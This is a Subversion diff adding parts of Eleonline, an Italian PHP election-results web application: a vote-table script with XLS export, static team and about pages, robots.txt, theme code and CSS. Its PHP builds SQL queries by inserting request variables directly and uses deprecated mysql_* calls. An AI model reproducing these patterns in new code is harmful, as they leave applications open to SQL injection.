+		if (!($genere==4) and $pag==0){  //se non e' una lista uninominale ed e' la prima pagina
+			$tab="SELECT 0,t2.id_sez,t2.num_sez,t2.validi,'0',t2.validi,t2.nulli,t2.bianchi,t2.contestati, t4.id_circ,t2.id_sede,'0' FROM ".$prefix."_ele_sezioni as t2 left join ".$prefix."_ele_sede as t4 on (t2.id_sede=t4.id_sede) where t2.id_cons='$id_cons' and t2.validi+t2.nulli+t2.bianchi+t2.contestati>0 group by t2.id_sez order by t2.num_sez ";
+		
+		}else{ // e' una lista uninominale o la seconda pagina
+			$tab="SELECT '0',t1.id_sez,t1.num_sez,sum(t2.voti),t1.solo_gruppo,t1.validi,t1.nulli,t1.bianchi,t1.contestati, t4.id_circ,t1.id_sede,'0'
+			FROM ".$prefix."_ele_sezioni as t1 left join ".$prefix.$tab3." as t2 on (t1.id_sez=t2.id_sez)
+			left join ".$prefix."_ele_sede as t4 on (t1.id_sede=t4.id_sede)
+			where t1.id_cons='$id_cons' and t1.id_cons=t2.id_cons group by t2.id_sez order by t1.num_sez ";
+		}
+		
+		$riga1 = "<div style=\"margin:0px auto;text-align:center;\">";
+		if($pag==0)$riga1 .="<h2>"._DETTAGLIO." "._VOTIE."</h2></div>";
+		else $riga1 .="<h2>"._DETTAGLIO." "._VOTIE." "._ASOLA_LISTA."</h2></div>";
+		
+	}else{ // e' un referendum
+		$tab="SELECT t1.id_gruppo,t1.id_sez,t2.num_sez,t1.si,t1.no,t1.validi,t1.nulli,t1.bianchi,t1.contestati, t4.id_circ,t2.id_sede,t3.num_gruppo
+		FROM ".$prefix."_ele_voti_ref as t1 left join ".$prefix."_ele_sezioni as t2 on (t1.id_sez=t2.id_sez)
+		left join  ".$prefix."_ele_gruppo as t3 on (t1.id_gruppo=t3.id_gruppo) left join ".$prefix."_ele_sede as t4 on (t2.id_sede=t4.id_sede)
+		where t1.id_cons='$id_cons' and t1.id_gruppo='$idg' order by t2.num_sez ";
+		$riga1  = "<div style=\"margin:0px auto;text-align:center;\">";
+		$riga1 ="<h2>"._DETTAGLIO." "._VOTIE."</h2></div>";
+		
+		$des = mysql_query("select descrizione from ".$prefix."_ele_gruppo where id_gruppo='$idg'", $dbi);
+		list($descrizione)=mysql_fetch_array($des);
+		$riga1 .="<h4>$descrizione</h4>";
+	}
+	$res = mysql_query("$tab ", $dbi);
+	$num_scr = mysql_num_rows($res);
+	//$riga2= "<div>"._SEZSCR." $num_scr su $num_sez</div>";//sezioni scrutinate
+
+	$riga2 = "<table style=\"border:1px solid #6A6A6A;\" summary=\"Tabella dei voti espressi\">";
+	$riga3 = "<tr class=\"bggray\">
+	<td>"._SEZIONI."</td>
+    	<td>"._VOTIU."</td>
+	<td>"._VOTID."</td>
+	<td>"._VOTIE."</td>"; //testata con nomi dei campi
+	if ($genere==0) {  //se e' un referendum
+		$riga3 .= "<td>"._SI."</td><td>"._NO."</td>";
+	} elseif ((($genere==5) or ($genere==3)) and $pag==1){
+		$riga3 .= "<td>"._ASOLA_LISTA."</td><td>"._ASOLO_GRUPPO."</td>";
+	}
+	$riga3 .= "<td>"._VALIDI."</td><td>"._NULLI."</td><td>"._BIANCHI."</td><td>"._CONTESTATI."</td>"
+    ."</tr>\n";
+	$res = mysql_query("$tab ", $dbi);
+	$num_scr = mysql_num_rows($res);
+	$righe= "";
+	$scrutinate=1;
+	$tot_u=0;$tot_d=0;$tot_voti=0; $tot_si=0;$tot_no=0;$tot_validi=0;$tot_nulli=0;$tot_bianchi=0;$tot_contestati=0;
+	while (list($id_gruppo,$id,$num,$si,$no,$validi,$nulli,$bianchi,$contestati,$id_circ,$id_sede,$gruppo) = mysql_fetch_row($res)){
+	// inserimento numeri di sez non scrutinate
+		while ($scrutinate < $num) { 
+			$righe.= "<tr><td><span style=\"color: rgb(255, 0, 0);\">$scrutinate</span></td></tr>\n";
+			$scrutinate++;
+		}
+		$scrutinate++; 
+	// fine inserimento	
+		$tab2="SELECT max(voti_donne),max(voti_uomini),max(voti_complessivi) FROM ".$prefix."_ele_voti_parziale where id_cons='$id_cons' and id_sez='$id'";
+		if ($genere==0) $tab2 .= " and id_gruppo=$id_gruppo";
+		$res2 = mysql_query($tab2, $dbi);
+		list($votid,$votiu,$voti) = mysql_fetch_row($res2);
+//		$voti=$votiu+$votid;
+		$tot_u+=$votiu;
+		$tot_d+=$votid;
+		$tot_voti+=$voti;
+		$tot_si+=$si;
+		$tot_no+=$no;
+		$tot_validi+=$validi;
+		$tot_nulli+=$nulli;
+		$tot_bianchi+=$bianchi;
+		$tot_contestati+=$contestati;
+		$righe .= "<tr class=\"bggray\">
+		<td>$num</td>
+		<td>".number_format($votiu,0,',','.')."</td>
+		<td>".number_format($votid,0,',','.')."</td>
+		<td>".number_format($voti,0,',','.')."</td>";
+		if ($genere==0 or ((($genere==5) or ($genere==3)) and $pag==1)){$righe 
+		.= "<td>".number_format($si,0,',','.')."</td>
+		<td>".number_format($no,0,',','.')."</td>";}
+		
+		$righe .= "<td>".number_format($validi,0,',','.')."</td>
+		<td>$nulli</td>
+		<td>$bianchi</td>
+		<td>$contestati</td></tr>";
+	}
+	if ($num<$num_sez) {
+		for (;$scrutinate<=$num_sez;$scrutinate++) {
+			$righe .= "<tr><td>";
+			$righe .="<span style=\"color: rgb(255, 0, 0);\">$scrutinate</span></td></tr>";
+		}
+	}
+	$righet='';
+	if($num_scr){
+	$righet = "<tr class=\"bggray\">
+	<td ></td>
+    	<td>"._VOTIU."</td>
+	<td>"._VOTID."</td>
+	<td>"._VOTIE."</td>"; //testata con nomi dei campi
+	if ($genere==0) {  //se e' un referendum
+		$righet .= "<td>"._SI."</td><td>"._NO."</td>";
+	} elseif ((($genere==5) or ($genere==3)) and $pag==1){
+		$righet .= "<td>"._ASOLA_LISTA."</td><td>"._ASOLO_GRUPPO."</td>";
+	}
+	if($totel==0) $totelrip="0.00"; else $totelrip=number_format($tot_voti*100/$totel,2);
+	if($totf==0) $totfrip="0.00"; else $totfrip=number_format($tot_d*100/$totf,2);
+ 	if($totm==0) $totmrip="0.00"; else $totmrip=number_format($tot_u*100/$totm,2);
+	$righet .= "<td>"._VALIDI."</td><td>"._NULLI."</td><td>"._BIANCHI."</td><td>"._CONTESTATI."</td>"
+    ."</tr>
+
+
+
+	<tr class=\"td-vuotoc\"><td><b>"._TOT."</b></td><td><b>".number_format($tot_u,0,',','.')."</b><br /><i>(".$totmrip." %)</i></td><td><b>".number_format($tot_d,0,',','.')."</b><br /><i>(".$totfrip." %)</i></td><td><b>".number_format($tot_voti,0,',','.')."</b><br /><i>(".$totelrip." %)</i></td>";
+	
+	// se e' un referendum o una consultazione con raggruppamenti
+
+	if($tot_validi){
+	if ($genere==0 or ((($genere==5) or ($genere==3)) and $pag==1)){$righet .= "<td><b>".number_format($tot_si,0,',','.')."</b><br /><i>(".number_format($tot_si*100/$tot_validi,2)." %)</i></td><td><b>".number_format($tot_no,0,',','.')."</b><br /><i>(".number_format($tot_no*100/$tot_validi,2)." %)</i></td>";}
+	$righet .= "<td><b>".number_format($tot_validi,0,',','.')."</b><br /><i>(".number_format($tot_validi*100/$tot_voti,2)." %)</i></td><td><b>"
+	.number_format($tot_nulli,0,',','.')."</b><br /><i>(".number_format($tot_nulli*100/$tot_voti,2)." %)</i></td><td><b>".number_format($tot_bianchi,0,',','.')."</b><br /><i>(".number_format($tot_bianchi*100/$tot_voti,2)." %)</i></td><td><b>".number_format($tot_contestati,0,',','.')."</b><br /><i>(".number_format($tot_contestati*100/$tot_voti,2)." %)</i></td></tr>";
+	}else{
+	if ($genere==0 or ((($genere==5) or ($genere==3)) and $pag==1)){$righet .= "<td><b>".number_format($tot_si,0,',','.')."</b><br /><i>(0.00 %)</i></td><td><b>".number_format($tot_no,0,',','.')."</b><br /><i>(0.00 %)</i></td>";}
+	$righet .= "<td><b>0</b><br /><i>(0.00 %)</i></td><td><b>"
+	.number_format($tot_nulli,0,',','.')."</b><br /><i>(".number_format($tot_nulli*100/$tot_voti,2)." %)</i></td><td><b>".number_format($tot_bianchi,0,',','.')."</b><br /><i>(".number_format($tot_bianchi*100/$tot_voti,2)." %)</i></td><td><b>".number_format($tot_contestati,0,',','.')."</b><br /><i>(".number_format($tot_contestati*100/$tot_voti,2)." %)</i></td></tr>";
+	}
+	}
+	$righe .= "</table>";
+
+	$html .= "$riga1";
+	$html .= $riga2."";
+	$html .= $righet;
+	$html .= $riga3;
+	$html .= $righe;
+	
+
+    $html .="<div>";
+    if($genere==0){ //se e' referendum
+        #'Pagina precedente' e 'Pagina Successiva'
+	    $cur=$num_ref;
+        if ($cur>1) {
+              $num_ref--;
+			  $html .= "<a href=\"modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=votanti&amp;num_ref=$num_ref&amp;num_refs=$num_refs&amp;csv=$csv\">";
+              $html .= "[ <b>"._PREV_MATCH."</b> ]</a>";
+        }
+        if ($cur<$num_refs) {
+	        $cur++;        
+			$html .= "<a href=\"modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=votanti&amp;num_ref=$cur&amp;num_refs=$num_refs&amp;csv=$csv\">";
+			
+            $html .= "[ <b>"._NEXT_MATCH."</b> ]</a>";
+        }
+    }elseif((($genere==5) or ($genere==3))){ //se vi sono raggruppamenti
+	      if($csv!=1){
+
+		$pag=($pag==0 ? 1:0);
+		$html .= "<a href=\"modules.php?name=Elezioni&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=come&amp;info=votanti&amp;pag=$pag&amp;csv=$csv\"><b>";
+		if($pag) $html .=  _VOTIL;
+	       //_CONTR_CONS;
+		else $html .= _VOTIE; 
+		//_CONTR_ESPR;
+		$html .= "</b></a>";
+	      }
+	}
+	
+
+if($csv==1){
+      $data=date("d-m-y G:i");
+      $html .="<br/><div style=\"margin:0px auto;text-align:center;\"><i>Stampato: $data</i></div>";
+      $html .="<br/><div style=\"text-align:center;\"><i>Eleonline by l. apolito & r. gigli - www.eleonline.it</i></div>";		
+      //$html .= $html;	
+      
+}	
+$html .= "</div>";
+
+
+############### stampa
+if ($xls!='1'){
+      echo "$datipdf $html";
+}else{
+	$nomefile="export.xls";
+	header ("Content-Type: application/vnd.ms-excel");
+	header ("Content-Disposition: inline; filename=$nomefile");
+
+	echo "$datipdf";
+	echo "$html \n";
+}
+
+
+if($csv!=1 ) include ("footer.php");
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/index.html
===================================================================
--- /trunk/elezioni/trunk/client/modules/index.html	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/index.html	(revision 44)
@@ -0,0 +1,1 @@
+ 
Index: /trunk/elezioni/trunk/client/pagine/chisiamo.html
===================================================================
--- /trunk/elezioni/trunk/client/pagine/chisiamo.html	(revision 44)
+++ /trunk/elezioni/trunk/client/pagine/chisiamo.html	(revision 44)
@@ -0,0 +1,70 @@
+<br/>
+<br/>
+<div align="center">
+<table style="width: 60%; text-align: left;" border="0" cellpadding="2"
+ cellspacing="2">
+  <tbody>
+    <tr>
+      <td style="vertical-align: top;">
+      <div style="text-align: center;"><font color="#191970"
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="5"><b>&nbsp;</b></font><font
+ color="#191970" face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular"
+ size="5"><b>Il servizio di gestione dei dati </b></font><font
+ color="#191970" face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular"
+ size="5"><b>elettorali OnLine<br/>
+      <br/>
+      </b></font></div>
+      <p><font color="#191970"
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="5"><b> </b></font></p>
+      <font color="#191970"
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="5"><b> </b></font><font
+ color="#191970" face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular"
+ size="5"></font></td>
+	
+	</tr>
+      
+          <tr>
+            <td>
+            <div style="text-align: justify;"><font
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="2">e'
+affidato al personale del Comune di Guidonia Montecelio che opera
+presso gli Uffici <span style="font-weight: bold;">C.E.D.</span> e <span
+ style="font-weight: bold;">S.U.A.P</span>. Tale servizio e' reso
+possibile dal software open source&nbsp; denominato "Soraldo" nella
+versione 0.5 di proprieta' di&nbsp; <span
+ style="font-style: italic; font-weight: bold;">Luciano Apolito</span> e<span
+ style="font-style: italic; font-weight: bold;"> Roberto
+Gigli </span>e concesso in uso a titolo gratuito all'Amministrazione
+Comunale
+di Guidonia Montecelio.<br/>
+            <br/>
+            </font> </div>
+            <div style="text-align: justify;"><font
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="2">Il
+programma permette al cittadino, attraverso la rete Internet, di
+acquisire tutte le informazioni relative alle elezioni ed elabora i
+dati immessi dagli operatori durante lo spoglio elettorale, in modo da
+fornire in <span style="font-style: italic; font-weight: bold;">tempo
+reale</span> grafici e percentuali (anche per sezione o per
+circoscrizione); i dati rimarrannno conservati in un archivio
+consultabile on-line anche in periodi successivi per raffronti e
+proiezioni.<br/>
+            <br/>
+Per maggiori informazioni sul servizio e sul software <a
+ href="http://localhost/ele2005/modules.php?name=Elezioni&amp;file=index&amp;op=contatti">contattare
+qui</a><br/>
+            </font></div>
+            <p><font face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular"
+ size="2"><br/>
+            </font></p>
+            <p style="margin-left: 40px;"><font
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="2">&nbsp;&nbsp;&nbsp;
+&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
+&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
+&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; [ <a href="index.php">Torna
+alla pagina iniziale</a> ]<br/>
+            </font></p>
+           </td>
+          </tr>
+      </table>
+</div>
Index: /trunk/elezioni/trunk/client/pagine/datigen01.html
===================================================================
--- /trunk/elezioni/trunk/client/pagine/datigen01.html	(revision 44)
+++ /trunk/elezioni/trunk/client/pagine/datigen01.html	(revision 44)
@@ -0,0 +1,12 @@
+<table border="0" bgcolor="$bgcolor1" align="middle"><tr><td>
+<br/><b>$_DATIG</b> <?"._DATIG.";?> 
+</td></tr></table><br/>
+
+
+<table border="0" align="center" width="80%" ><tr bgcolor="$bgcolor1">
+<td bgcolor="$bgcolor5" align="middle"><b>$_AVENTI</b></td>
+<td bgcolor="$bgcolor5" align="middle"><b>$_MASCHI</b></td>
+<td bgcolor="$bgcolor5" align="middle"><b>$_FEMMINE</b></td>
+<td bgcolor="$bgcolor5" align="middle"><b><a href="modules.php?name=Elezioni&op=circo&id_cons_gen=$id_cons_gen&id_comune=$id_comune"><?echo"._CIRCS.";?></a></b></td>
+<td bgcolor="<?echo"$bgcolor5";?>" align="middle"><b><a href="modules.php?name=Elezioni&op=sezione&id_cons_gen=$id_cons_gen&id_comune=$id_comune"><?echo"._SEZIONI.";?></a></b></td>
+<td bgcolor="<?echo"$bgcolor5";?>" align="middle"><b><a href="modules.php?name=Elezioni&op=gruppo&id_cons_gen=$id_cons_gen&id_comune=$id_comune&id_circ=$id_circ"><?echo"._GRUPPI.";?></a></b></td>
Index: /trunk/elezioni/trunk/client/pagine/gruppo.html
===================================================================
--- /trunk/elezioni/trunk/client/pagine/gruppo.html	(revision 44)
+++ /trunk/elezioni/trunk/client/pagine/gruppo.html	(revision 44)
@@ -0,0 +1,80 @@
+
+<br/>
+<br/>
+<div align="center">
+
+<table style="text-align: left; width: 695px; height: 698px;" border="0"
+ cellpadding="2" cellspacing="2">
+  <tbody>
+    <tr>
+      <td style="vertical-align: top;">
+      <div style="text-align: center;"><font color="#191970"
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="5"><b>&nbsp;il
+gruppo di lavoro</b></font><font color="#191970"
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="5"><b> per i
+dati </b></font><font color="#191970"
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="5"><b>elettorali
+OnLine </b></font></div>
+      <p><font color="#191970"
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="5"><b> </b></font></p>
+    
+      <p style="margin-bottom: 0cm;"><br/>
+      </p>
+      <p style="margin-bottom: 0cm;"><big><big>Coordinamento Gruppo:<br/>
+      <span style="font-weight: bold; font-style: italic;">Luciano
+Apolito</span></big></big></p>
+      <p style="margin-bottom: 0cm;"><big><br/>
+Sviluppatori software:<br/>
+      <span style="font-weight: bold; font-style: italic;">Luciano
+Apolito &amp; Roberto Gigli</span></big></p>
+      <big><br/>
+      </big>
+      <p style="margin-bottom: 0cm;"><big>Coordinamento Assistenza agli
+operatori nel caricamento dello spoglio elettorale e trasmissione
+dati alla Prefettura.:<br/>
+      <span style="font-weight: bold; font-style: italic;">Tullio
+Uranelli</span></big></p>
+      <p style="margin-bottom: 0cm;"><big>Assistenza agli operatori nel
+caricamento dello spoglio elettorale e trasmissione dati alla
+Prefettura:<br/>
+      <span style="font-weight: bold; font-style: italic;">Michele
+Maccarone</span></big></p>
+      <p style="margin-bottom: 0cm;"><big>Grafica, dati elettorali
+statici, immissione dati statici, test e assistenza operatori:<br/>
+      <span style="font-weight: bold; font-style: italic;">Gianfranco
+Montelucci &amp; Fabio Ansaldi &amp; Angelo Terenzi</span><br/>
+      </big></p>
+      <p style="margin-bottom: 0cm;"><big>Compiti amministrativi, call
+center e
+smistamento delle problematiche, inserimento dati:<br/>
+      <span style="font-style: italic; font-weight: bold;">Cinzia Oddi</span></big></p>
+      <p style="margin-bottom: 0cm;"><br/>
+      </p>
+      <br/>
+      <font color="#191970"
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="5"><br/>
+      </font>
+      <div style="text-align: justify;"><font
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="2">Per
+maggiori informazioni sul servizio e sul software <a
+ href="http://localhost/ele2005/modules.php?name=Elezioni&amp;file=index&amp;op=contatti">contattare
+qui</a><br/>
+      </font></div>
+      <p><font face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular"
+ size="2"><br/>
+      </font></p>
+      <p style="margin-left: 40px;"><font
+ face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size="2">&nbsp;&nbsp;&nbsp;
+&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
+&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
+&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; [ <a href="index.php">Torna
+alla pagina iniziale</a> ]</font></p>
+      <br/>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<br/>
+<br/>
+</div>
+
Index: /trunk/elezioni/trunk/client/pagine/index.html
===================================================================
--- /trunk/elezioni/trunk/client/pagine/index.html	(revision 44)
+++ /trunk/elezioni/trunk/client/pagine/index.html	(revision 44)
@@ -0,0 +1,1 @@
+ 
Index: /trunk/elezioni/trunk/client/robots.txt
===================================================================
--- /trunk/elezioni/trunk/client/robots.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/robots.txt	(revision 44)
@@ -0,0 +1,9 @@
+User-agent: *
+Disallow: admin.php
+Disallow: /admin/
+Disallow: /images/
+Disallow: /doc/
+Disallow: /pagine/
+Disallow: /temi/
+Disallow: /modules/
+
Index: /trunk/elezioni/trunk/client/temi/altro/index.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/altro/index.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/altro/index.php	(revision 44)
@@ -0,0 +1,66 @@
+<?php
+# altro
+
+include_once("modules/Elezioni/funzioni.php");
+include_once("temi/inc/button.php");
+
+########## no blocco x grafici e risultati
+if($blocco!=1 || $param['op']=="graf_gruppo" || $param['op']=="gruppo_circo" || $param['op']=="gruppo_sezione"
+|| $param['op']=="lista_circo" || $param['op']=="lista_sezione"  || $param['op']=="candidato_circo" || $param['op']=="candidato_sezione"
+)$blocco=''; else $blocco=1;
+
+function testata(){
+global $file,$blocco;
+
+
+
+echo '<table width="798" border="0" cellspacing="0" cellpadding="0">
+      <tr>
+        <td class="logoleft"></td>
+        <td class="logo">Eleonline</td>
+        <td class="logoright"></td>
+        <td class="tag">Consultazioni elettorali</td>
+        <td class="tag">';
+
+	language();
+	flash();
+	noblocco();
+
+echo '  </td>  </tr></table> ';
+
+
+if ($file=="index") menu();
+
+	echo "<table  class=\"table-main\" cellpadding=\"0\" cellspacing=\"0\"><tr>";
+	$check=check_block("dx"); // check exist box
+		
+	if ($blocco=='1' && $check!=0){
+		echo "<td valign=\"top\" class=\"sidebar\">";
+    		block("dx");
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\">"; 
+		
+	}else { 
+		echo "<td valign=\"top\">";
+	}
+
+
+}
+
+function piede(){
+	global $blocco;
+	$check=check_block("sx"); // check exist box
+	if ($blocco=='1' && $check!=0){
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\" class=\"sidebar\">";
+    		block("sx");
+		
+	}
+	echo "</td></tr></table>";
+        
+
+}
+
+
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/temi/altro/style.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/altro/style.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/altro/style.css	(revision 44)
@@ -0,0 +1,487 @@
+/**************** 
+style css for eleonline
+http://www.elenoline.it
+****************/
+
+body {
+/*background-image:url(images/body_bg.jpg); background-repeat:repeat-x; */
+	font: normal small Arial, Helvetica, sans-serif;
+	font-size:13px;
+	/*text-align:justify;*/
+	color: #000000;
+	margin-top:10px;
+	margin-left:0px;
+	margin-right:0px;
+	margin-bottom:0px;
+}
+.logoleft{
+background-image:url(images/logo_left.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}
+.logoright{
+background-image:url(images/logo_right.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}
+.logo{
+background-image:url(images/logo_bg.jpg); background-repeat:repeat-x;
+	text-transform: uppercase;
+	font-size:28px;
+	color:#88AED6;
+	font-weight:bold;
+	text-decoration:none;
+	width:250px;
+}
+.main{
+background-color:#A8C4E1;
+}
+.tag {
+	margin: 0;
+	padding:45px 20px 10px 10px;
+	text-transform: uppercase;
+	font-size:16px;
+	font-weight:bold;
+	color:#ffffff;
+    text-decoration:none;
+}
+a{
+color:#5D81A6;
+
+text-decoration:none;
+}
+a:hover{
+color:#000000;
+text-decoration:none;
+}
+
+/* usate per blocco */
+
+
+.sidebar {
+	background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+	text-align:left;
+	margin-top:0px;
+	width: 200px;	
+	border: none;
+	padding: 0px;
+	background-color:#A8C4E1;
+	
+}
+.sidebar a{
+color:#5D81A6;
+}
+.sidebar a:hover{
+text-decoration: underline;
+/*color:#FFFFFF;*/
+}
+.sidebar a:visited{
+color:#5D81A6;
+}
+
+
+.td-149 {
+	background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+	float: right;
+	margin-top:0px;
+	/*margin: 0px 0 0 0px;*/
+	width: 200px;	
+	border: none;
+	background-color:#A8C4E1;
+	/*background-color: #d2d2d2;*/
+	padding: 0px;
+}
+.td-149 a{
+color:#5D81A6;
+}
+.td-149 a:hover{
+color:#FFFFFF;
+}
+.td-149 a:visited{
+color:#000000;
+}
+.welcome
+{font-size:35px;
+color:#686868;
+}
+/* contenitore */
+
+div#container{
+    width: 900px;
+    margin: 0px auto;   /*centra negli altri browsers*/
+    /*text-align: left;   /*ripristina l' allineamento*/
+    }
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+	
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 12px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #222266;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #5D81A6;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+h5 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #ffffff;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #A8C4E1;
+	background-position: center;
+	text-align: center;
+}
+h6 {
+	font-size: 12px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+}
+
+/* classe tratteggiata usata in molti td */
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+
+
+.sitebar {
+	background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+	font-size: 12px;
+	border: none;
+	color: #ffffff;
+}
+
+
+
+/* tavole */
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	color: #666666;
+	text-align:center;
+	width: 900px;
+	
+}
+
+
+/* numero e simbolo liste */
+
+.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+        background-color:#5D81A6;
+	color:#ffffff;
+	
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}
+	
+.td-130c {
+	float: right;
+	text-align:left;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	
+	padding: 0px;
+}		
+	
+/* sinistra */
+div#sx{
+    width: 500px;
+    float: left;
+    text-align: left;   
+    }
+/* destra */
+div#dx{
+    width: 149px;
+    float: right;
+    /*text-align: left;   */
+    }
+
+
+/* flash */
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+
+
+
+/* immagini bordo */
+
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}		
+
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+}		
+
+.stemmapic {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:30px;
+	height:30px;
+}		
+
+
+.noblocco {
+border: 0px;
+margin-right:0px;
+margin-left:130px;
+text-align: right;
+vertical-align: middle;
+width:18px;
+height:18px;
+}
+
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+
+}
+/******************** font e backcolor******************************/
+.blu 	{
+	background: none;
+	font-weight: bold; 
+	color: #003366; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+
+.red 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+.redbig 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 16px; 
+	font-family: Verdana, Helvetica
+}
+
+.bgw	{
+	background: #ffffff; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+}
+/* diventa celeste */
+
+.bggray 	{
+	background-color:#5D81A6;
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	color: #ffffff;
+}
+
+.bggray2 	{
+	background: #A8C4E1; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray3 	{
+	background: #dce9f9;  
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+	}
+
+.normale {
+	background: none; 
+	color: #000000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+}
+.piccolo {
+	BACKGROUND: none; 
+	COLOR: #cccccc; 
+	FONT-SIZE: 10px; 
+	FONT-WEIGHT: normal; 
